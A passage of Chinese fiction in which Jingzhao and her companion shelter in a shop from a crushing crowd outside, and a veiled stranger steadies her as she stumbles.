店内大门合拢，几个伙计用尽全力堵在门边，堵住了外面无数蜂拥而来的人，许多双手拍打在门板上，仿佛下一刻就要将店门撞开。 不能出去。 此刻出去，除了被挤压踩踏而死，没有任何用处。 景昭环顾四周，只见店里还有很多顾客，这些顾客和她们二人一样，因为身处店内逃过一劫。 所有人面面相觑，每一张脸上都布满恐慌的、既惊又怕的空白。 外面的喧嚣声依然未曾休止，无数双手拍击在门板上，像是漆黑湖底爬出来的冤魂，分外触目惊心。 景昭缓缓拨开穆嫔的手：“我没事。” 她向侧边踉跄一步，步伐有些凌乱。 一只手从旁探来，极轻地、有礼地在她小臂上一托，似是怕她跌倒。 与此同时，极淡的香气缠绕上来，萦绕在景昭鼻尖，隐隐熟悉，但她此刻已经没有多余的心思去辨别了。 那只手的主人扶了她一把，很快松开：“女郎当心。” 其声清越，有若林间清泉，又如金玉相击。 景昭抬起眼。 她看见面前灰白的轻纱水一般流泻而下，长及膝间，遮蔽住帷帽后的面容，只留下一个朦胧的轮廓。